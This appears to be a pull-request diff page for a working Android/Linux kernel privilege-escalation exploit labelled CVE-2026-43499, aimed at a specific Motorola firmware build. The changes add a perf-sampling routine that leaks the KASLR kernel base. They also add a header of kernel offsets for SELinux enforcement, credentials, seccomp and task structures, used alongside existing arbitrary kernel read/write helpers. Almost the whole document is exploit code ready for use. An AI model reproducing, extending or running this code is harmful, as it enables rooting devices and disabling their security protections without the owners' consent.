Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions IonStack/CVE-2026-43499/exploit/src/common.h
Original file line number Diff line number Diff line change
Expand Up @@ -407,6 +407,7 @@ int hex_value(char c);
uint64_t slide_read_stext(void);
uint64_t slide_child_leak_stext(void);
int slide_leak_kernel_base(void);
uint64_t perf_leak_text_base(void);

ssize_t configfs_write_once(
int fd, uintptr_t target, const void *data, size_t len);
Expand Down
13 changes: 11 additions & 2 deletions IonStack/CVE-2026-43499/exploit/src/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -180,8 +180,17 @@ int run_exploit(int argc, char **argv) {
init_ashmem_path();

pin_to_core(CORE);
if (!slide_leak_kernel_base()) {
pr_error("slide kaslr leak failed\n");
/* KASLR base: try perf first, fall back to the slide leak. */
uint64_t text_base = perf_leak_text_base();
if (text_base) {
kaslr_base = text_base;
kaslr_slide = kaslr_base - KIMAGE_TEXT_BASE;
kaslr_done = 1;
pr_success("text-base-ok pid=%d text=%016llx slide=%016llx (perf)\n",
getpid(), (unsigned long long)kaslr_base,
(unsigned long long)kaslr_slide);
} else if (!slide_leak_kernel_base()) {
pr_error("kaslr leak failed\n");
return 1;
}

Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,192 @@
#ifndef TARGET_H
#define TARGET_H

#define BUILD_VARIANT_LABEL "lamu_VVTA35.51-28-26"
#define BUILD_FINGERPRINT "motorola/lamu_g/lamu:15/VVTA35.51-28-26/b23e7d:user/release-keys"

#define KIMAGE_TEXT_BASE 0xffffffc080000000ULL
#define P0_PAGE_OFFSET 0xffffff8000000000ULL
#ifndef P0_PHYS_OFFSET
#define P0_PHYS_OFFSET 0x40000000ULL
#endif
#ifndef P0_KERNEL_PHYS_LOAD
#define P0_KERNEL_PHYS_LOAD 0x40080000ULL
#endif
#define KERNELSNITCH_IDENTITY_START 0xffffff8000000000ULL
#define KERNELSNITCH_IDENTITY_END 0xffffff9000000000ULL
#define DIRECT_MAP_BASE 0xffffff8000000000ULL
#define DIRECT_MAP_END 0xffffff9000000000ULL
#define VMEMMAP_START 0xfffffffe00000000ULL

#define PSELECT_WAITER_WORD_SHIFT 0

#define ASHMEM_MISC_FOPS_OFF 0x02187428ULL
#define ASHMEM_FOPS_OFF 0x01279f70ULL
#define ASHMEM_IOCTL_OFF 0x00c48808ULL
#define ASHMEM_COMPAT_IOCTL_OFF 0x00c48ec4ULL
#define ASHMEM_MMAP_OFF 0x00c48f18ULL
#define ASHMEM_OPEN_OFF 0x00c49138ULL
#define ASHMEM_RELEASE_OFF 0x00c491c0ULL
#define ASHMEM_SHOW_FDINFO_OFF 0x00c4924cULL
#define CONFIGFS_READ_ITER_OFF 0x00466adcULL
#define CONFIGFS_BIN_WRITE_ITER_OFF 0x00467008ULL
#define COPY_SPLICE_READ_OFF 0x003ec338ULL
#define NOOP_LLSEEK_OFF 0x0039fa84ULL
#define INIT_TASK_OFF 0x0202cac0ULL
#define INIT_UTS_NS_OFF 0x021ad758ULL
#define EMPTY_ZERO_PAGE_OFF 0x02212000ULL
#define ROOT_TASK_GROUP_OFF 0x0221a500ULL
#define SELINUX_BLOB_SIZES_OFF 0x015e9520ULL
#define SELINUX_ENFORCING_OFF 0x0225b878ULL
#define SECURITY_HOOK_HEADS_OFF 0x015e8de8ULL
#define KMALLOC_CACHES_OFF 0x015e8930ULL
#define ANON_PIPE_BUF_OPS_OFF 0x010fb248ULL

#define ASHMEM_MISC_FOPS (KIMAGE_TEXT_BASE + ASHMEM_MISC_FOPS_OFF)
#define ASHMEM_FOPS (KIMAGE_TEXT_BASE + ASHMEM_FOPS_OFF)
#define ASHMEM_IOCTL (KIMAGE_TEXT_BASE + ASHMEM_IOCTL_OFF)
#define ASHMEM_COMPAT_IOCTL (KIMAGE_TEXT_BASE + ASHMEM_COMPAT_IOCTL_OFF)
#define ASHMEM_MMAP (KIMAGE_TEXT_BASE + ASHMEM_MMAP_OFF)
#define ASHMEM_OPEN (KIMAGE_TEXT_BASE + ASHMEM_OPEN_OFF)
#define ASHMEM_RELEASE (KIMAGE_TEXT_BASE + ASHMEM_RELEASE_OFF)
#define ASHMEM_SHOW_FDINFO (KIMAGE_TEXT_BASE + ASHMEM_SHOW_FDINFO_OFF)
#define CONFIGFS_READ_ITER (KIMAGE_TEXT_BASE + CONFIGFS_READ_ITER_OFF)
#define CONFIGFS_BIN_WRITE_ITER (KIMAGE_TEXT_BASE + CONFIGFS_BIN_WRITE_ITER_OFF)
#define COPY_SPLICE_READ (KIMAGE_TEXT_BASE + COPY_SPLICE_READ_OFF)
#define NOOP_LLSEEK (KIMAGE_TEXT_BASE + NOOP_LLSEEK_OFF)
#define INIT_TASK (KIMAGE_TEXT_BASE + INIT_TASK_OFF)
#define INIT_UTS_NS (KIMAGE_TEXT_BASE + INIT_UTS_NS_OFF)
#define EMPTY_ZERO_PAGE (KIMAGE_TEXT_BASE + EMPTY_ZERO_PAGE_OFF)
#define ROOT_TASK_GROUP (KIMAGE_TEXT_BASE + ROOT_TASK_GROUP_OFF)
#define SELINUX_BLOB_SIZES (KIMAGE_TEXT_BASE + SELINUX_BLOB_SIZES_OFF)
#define SELINUX_ENFORCING (KIMAGE_TEXT_BASE + SELINUX_ENFORCING_OFF)
#define SECURITY_HOOK_HEADS (KIMAGE_TEXT_BASE + SECURITY_HOOK_HEADS_OFF)
#define KMALLOC_CACHES (KIMAGE_TEXT_BASE + KMALLOC_CACHES_OFF)
#define ANON_PIPE_BUF_OPS (KIMAGE_TEXT_BASE + ANON_PIPE_BUF_OPS_OFF)

#define SLIDE_NFULNL_LOGGER_OFF 0x020211a0ULL
#define SLIDE_LOGGERS_0_1_OFF 0x020211a0ULL
#define SLIDE_INIT_TASK_OFF INIT_TASK_OFF
#define SLIDE_ROOT_TASK_GROUP_OFF ROOT_TASK_GROUP_OFF
#define SLIDE_RANDOM_BOOT_ID_DATA_OFF 0x0227c858ULL
#define SLIDE_SYSCTL_BOOTID_OFF 0x02145170ULL

#define SLIDE_NFULNL_LOGGER_IMAGE \
(KIMAGE_TEXT_BASE + SLIDE_NFULNL_LOGGER_OFF)
#define SLIDE_LOGGERS_0_1_IMAGE \
(KIMAGE_TEXT_BASE + SLIDE_LOGGERS_0_1_OFF)
#define SLIDE_RANDOM_BOOT_ID_DATA_IMAGE \
(KIMAGE_TEXT_BASE + SLIDE_RANDOM_BOOT_ID_DATA_OFF)
#define SLIDE_INIT_TASK_IMAGE (KIMAGE_TEXT_BASE + SLIDE_INIT_TASK_OFF)
#define SLIDE_ROOT_TASK_GROUP_IMAGE \
(KIMAGE_TEXT_BASE + SLIDE_ROOT_TASK_GROUP_OFF)
#define SLIDE_SYSCTL_BOOTID_IMAGE \
(KIMAGE_TEXT_BASE + SLIDE_SYSCTL_BOOTID_OFF)

#define LOCK_OFF 0x1350
#define W0_OFF 0x2220
#define FOPS_OFF 0x1000
#define SCRATCH_OFF 0x3000
#define RIGHT_OFF 0x4440
#define LEFT_OFF 0x5550
#define FAKE_TASK_OFF 0x3200

#define WAITER_LOCAL_OFF 0x80
#define WAITER_TREE_ENTRY_OFF 0x00
#define WAITER_PI_TREE_ENTRY_OFF 0x28
#define WAITER_TASK_OFF 0x50
#define WAITER_LOCK_OFF 0x58
#define WAITER_WAKE_STATE_OFF 0x60
#define WAITER_PRIO_OFF 0x40
#define WAITER_DEADLINE_OFF 0x48
#define WAITER_WW_CTX_OFF 0x68

#define FAKE_WAITER_TREE_PRIO_OFF 0x18
#define FAKE_WAITER_TREE_DEADLINE_OFF 0x20
#define FAKE_WAITER_PI_TREE_ENTRY_OFF 0x28
#define FAKE_WAITER_PI_TREE_PRIO_OFF 0x40
#define FAKE_WAITER_PI_TREE_DEADLINE_OFF 0x48
#define FAKE_WAITER_TASK_OFF 0x50
#define FAKE_WAITER_LOCK_OFF 0x58
#define FAKE_WAITER_WAKE_STATE_OFF 0x60
#define FAKE_WAITER_WW_CTX_OFF 0x68

#define MM_OWNER_OFF 1032
#define TASK_PID_OFF 0x618
#define TASK_TGID_OFF 0x61c
#define TASK_REAL_PARENT_OFF 0x628
#define TASK_ATOMIC_FLAGS_OFF 0x5d8
#define TASK_REAL_CRED_OFF 0x818
#define TASK_CRED_OFF 0x820
#define TASK_COMM_OFF 0x830
#define TASK_TASKS_OFF 0x550
#define TASK_THREAD_INFO_FLAGS_OFF 0x00
#define TASK_SECCOMP_OFF 0x8e8

#define FAKE_TASK_USAGE_OFF 0x40
#define FAKE_TASK_PRIO_OFF 0x84
#define FAKE_TASK_NORMAL_PRIO_OFF 0x8c
#define FAKE_TASK_TASK_GROUP_OFF 0x348
#define FAKE_TASK_PI_LOCK_OFF 0x90c
#define FAKE_TASK_PI_WAITERS_OFF 0x920
#define FAKE_TASK_PI_TOP_TASK_OFF 0x930
#define FAKE_TASK_PI_BLOCKED_ON_OFF 0x938

#define CFG_PAGE_OFF 16
#define CFG_NEEDS_READ_FILL_OFF 80
#define CFG_BIN_BUFFER_OFF 88
#define CFG_BIN_BUFFER_SIZE_OFF 96
#define CFG_CB_MAX_SIZE_OFF 100

#define CRED_UID_OFF 8
#define CRED_SECUREBITS_OFF 40
#define CRED_CAPS_OFF 48
#define CRED_SECURITY_OFF 128
#define SELINUX_CRED_BLOB_OFF 0
#define SELINUX_CRED_OSID_OFF 0
#define SELINUX_CRED_SID_OFF 4

#define SECCOMP_MODE_OFF 0x00
#define SECCOMP_FILTER_COUNT_OFF 0x04
#define SECCOMP_FILTER_OFF 0x08
#define TIF_SECCOMP_BIT 11
#define PFA_NO_NEW_PRIVS_BIT 0

#define STRUCT_PAGE_SIZE 0x40
#define STRUCT_PAGE_COMPOUND_HEAD_OFF 0x08
#define STRUCT_SLAB_CACHE_OFF 0x08
#define STRUCT_PAGE_TYPE_OFF 0x30

#define PIPE_BUFFER_SIZE 0x28
#define PIPE_BUFFER_SLOTS 32
#define PIPE_BUF_FLAG_CAN_MERGE 0x10
#define PIPE_INODE_INFO_STRUCT_SIZE 0xb8
#define PIPE_INODE_INFO_SIZE 0xc0
#define PIPE_INODE_INFO_SLOTS_PER_PAGE 21
#define PIPE_HEAD_OFF 0x60
#define PIPE_TAIL_OFF 0x64
#define PIPE_MAX_USAGE_OFF 0x68
#define PIPE_RING_SIZE_OFF 0x6c
#define PIPE_NR_ACCOUNTED_OFF 0x70
#define PIPE_READERS_OFF 0x74
#define PIPE_WRITERS_OFF 0x78
#define PIPE_FILES_OFF 0x7c
#define PIPE_TMP_PAGE_OFF 0x90
#define PIPE_BUFS_OFF 0xa8
#define PIPE_USER_OFF 0xb0

#define FOPS_OWNER_OFF 0x00
#define FOPS_LLSEEK_OFF 0x08
#define FOPS_READ_OFF 0x10
#define FOPS_WRITE_OFF 0x18
#define FOPS_READ_ITER_OFF 0x20
#define FOPS_WRITE_ITER_OFF 0x28
#define FOPS_IOCTL_OFF 0x48
#define FOPS_COMPAT_IOCTL_OFF 0x50
#define FOPS_MMAP_OFF 0x58
#define FOPS_OPEN_OFF 0x68
#define FOPS_RELEASE_OFF 0x78
#define FOPS_SPLICE_READ_OFF 0xb8
#define FOPS_SHOW_FDINFO_OFF 0xd8

#endif
119 changes: 119 additions & 0 deletions IonStack/CVE-2026-43499/exploit/src/util.c
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
#include "common.h"
#include "kernelsnitch/kernelsnitch.h"
#include <linux/perf_event.h>

static struct kernelsnitch_shared_state *ks;
static size_t mm_objs_per_slab;
Expand Down Expand Up @@ -771,3 +772,121 @@ ssize_t kernel_write_data(int fd, uintptr_t target, const void *data, size_t len
ssize_t kernel_read_data(int fd, uintptr_t target, void *data, size_t len) {
return configfs_read_once(fd, target, data, len);
}

#define PERF_LEAK_ALIGN 0x200000ULL
#define PERF_LEAK_MMAP_PAGES 8

/* KASLR TEXT base via perf kernel-IP sampling, min IP rounded to 2 MiB plus
* TEXT_OFFSET gives _text. */
uint64_t perf_leak_text_base(void) {
/* perf_event_paranoid > 1 blocks kernel samples for unprivileged callers. */
int pfd = open("/proc/sys/kernel/perf_event_paranoid", O_RDONLY | O_CLOEXEC);
if (pfd >= 0) {
char pbuf[16];
ssize_t pn = read(pfd, pbuf, sizeof(pbuf) - 1);
close(pfd);
if (pn > 0) {
pbuf[pn] = 0;
if (atoi(pbuf) > 1) {
pr_warning("perf text-base perf_event_paranoid too high\n");
return 0;
}
}
}

struct perf_event_attr pe;
memset(&pe, 0, sizeof(pe));
pe.type = PERF_TYPE_SOFTWARE;
pe.config = PERF_COUNT_SW_CPU_CLOCK;
pe.size = sizeof(pe);
pe.sample_period = 1;
pe.sample_type = PERF_SAMPLE_IP;
pe.exclude_user = 1;
pe.exclude_hv = 1;
pe.disabled = 1;
pe.wakeup_events = 1;

int fd = (int)syscall(__NR_perf_event_open, &pe, 0, -1, -1, 0);
if (fd < 0) {
pe.sample_period = 100000;
fd = (int)syscall(__NR_perf_event_open, &pe, 0, -1, -1, 0);
}
if (fd < 0) {
pr_warning("perf text-base perf_event_open errno=%d\n", errno);
return 0;
}

size_t mmap_size = (size_t)(1 + PERF_LEAK_MMAP_PAGES) * (size_t)PAGE_SIZE;
void *mmap_buf = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE,
MAP_SHARED, fd, 0);
if (mmap_buf == MAP_FAILED) {
pr_warning("perf text-base mmap errno=%d\n", errno);
close(fd);
return 0;
}

struct perf_event_mmap_page *header =
(struct perf_event_mmap_page *)mmap_buf;
uint64_t min_kip = ~(uint64_t)0;
int kernel_samples = 0;

ioctl(fd, PERF_EVENT_IOC_RESET, 0);
ioctl(fd, PERF_EVENT_IOC_ENABLE, 0);

for (volatile long i = 0; i < 500000; i++) {
if ((i % 10000) == 0) {
sched_yield();
}
}

ioctl(fd, PERF_EVENT_IOC_DISABLE, 0);

uint64_t data_tail = header->data_tail;
uint64_t data_head = header->data_head;
__sync_synchronize();
uint64_t data_size = (uint64_t)PERF_LEAK_MMAP_PAGES * (uint64_t)PAGE_SIZE;
uint8_t *base = (uint8_t *)mmap_buf + PAGE_SIZE;

while (data_tail < data_head) {
struct perf_event_header *ev =
(struct perf_event_header *)(base + (data_tail % data_size));
if (ev->size == 0) {
break;
}
if (data_tail + ev->size > data_head) {
break;
}
if (ev->type == PERF_RECORD_SAMPLE &&
(ev->misc & PERF_RECORD_MISC_KERNEL)) {
uint64_t ip = *(uint64_t *)((uint8_t *)ev + sizeof(*ev));
/* keep kernel-text IPs only, drop module IPs (< KIMAGE_TEXT_BASE) */
if (ip >= KIMAGE_TEXT_BASE && ip < min_kip) {
min_kip = ip;
}
kernel_samples++;
}
data_tail += ev->size;
}
header->data_tail = data_tail;

munmap(mmap_buf, mmap_size);
close(fd);

if (kernel_samples == 0 || min_kip == ~(uint64_t)0) {
pr_warning("perf text-base no kernel samples collected\n");
return 0;
}

uint64_t text_base =
(min_kip & ~(PERF_LEAK_ALIGN - 1)) + P0_KERNEL_PHYS_DELTA;
if (text_base < KIMAGE_TEXT_BASE) {
pr_warning("perf text-base out of range: %016llx\n",
(unsigned long long)text_base);
return 0;
}
pr_success("perf text-base pid=%d samples=%d min_kip=%016llx "
"text_base=%016llx\n",
getpid(), kernel_samples, (unsigned long long)min_kip,
(unsigned long long)text_base);
return text_base;
}